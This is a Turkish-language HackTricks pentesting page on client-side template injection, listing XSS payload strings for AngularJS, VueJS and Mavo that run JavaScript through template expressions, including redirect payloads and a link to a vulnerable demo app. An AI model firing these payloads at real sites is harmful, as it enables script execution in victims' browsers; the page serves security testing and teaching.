Client Side Template Injection (CSTI)
Reading time: 4 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.
Özet
Bu, Sunucu Tarafı Şablon Enjeksiyonu (SSTI) gibidir, ancak istemci tarafındadır. SSTI, uzaktaki sunucuda kod çalıştırmanıza izin verebilir, CSTI ise kurbanın tarayıcısında rastgele JavaScript kodu çalıştırmanıza izin verebilir.
Bu zafiyeti test etmek, SSTI durumunda olduğu gibi çok benzerdir, yorumlayıcı bir şablon bekler ve bunu çalıştırır. Örneğin, {{ 7-7 }}
gibi bir yük ile, uygulama zayıfsa 0
göreceksiniz, değilse orijinalini göreceksiniz: {{ 7-7 }}
AngularJS
AngularJS, HTML ile direktifler olarak bilinen öznitelikler aracılığıyla etkileşimde bulunan yaygın olarak kullanılan bir JavaScript framework'üdür, bunlardan biri ng-app
'dir. Bu direktif, AngularJS'nin HTML içeriğini işlemesine olanak tanır ve çift süslü parantezler içinde JavaScript ifadelerinin çalıştırılmasını sağlar.
Kullanıcı girdisinin ng-app
ile etiketlenmiş HTML gövdesine dinamik olarak eklendiği senaryolarda, rastgele JavaScript kodu çalıştırmak mümkündür. Bu, girdinin içinde AngularJS sözdizimini kullanarak gerçekleştirilebilir. Aşağıda JavaScript kodunun nasıl çalıştırılabileceğini gösteren örnekler bulunmaktadır:
{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
<input ng-focus=$event.view.alert('XSS')>
<!-- Google Research - AngularJS -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
Bir temel çevrimiçi örneği AngularJS'deki zafiyetin http://jsfiddle.net/2zs2yv7o/ ve Burp Suite Academy adresinde bulabilirsiniz.
[!CAUTION] > Angular 1.6 kum havuzunu kaldırdı bu nedenle bu versiyondan itibaren
{{constructor.constructor('alert(1)')()}}
veya<input ng-focus=$event.view.alert('XSS')>
gibi bir yük çalışmalıdır.
VueJS
Zayıf bir Vue uygulamasını https://vue-client-side-template-injection-example.azu.now.sh/ adresinde bulabilirsiniz.
Çalışan yük: https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%
Ve zayıf örneğin kaynak kodu burada: https://github.com/azu/vue-client-side-template-injection-example
<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
CSTI ile ilgili gerçekten iyi bir yazı VUE'de https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets bulunabilir.
V3
{{_openBlock.constructor('alert(1)')()}}
Kredi: Gareth Heyes, Lewis Ardern & PwnFunction
V2
{{constructor.constructor('alert(1)')()}}
Kredi: Mario Heiderich
Daha fazla VUE yükü kontrol edin https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected
Mavo
Yük:
[7*7]
[(1,alert)(1)]
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
<a data-mv-if='1 or self.alert(1)'>test</a>
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a href=[javascript&':alert(1)']>test</a>
[self.alert(1)mod1]
Daha fazla yük https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations
Kaba Kuvvet Tespit Listesi
Auto_Wordlists/wordlists/ssti.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.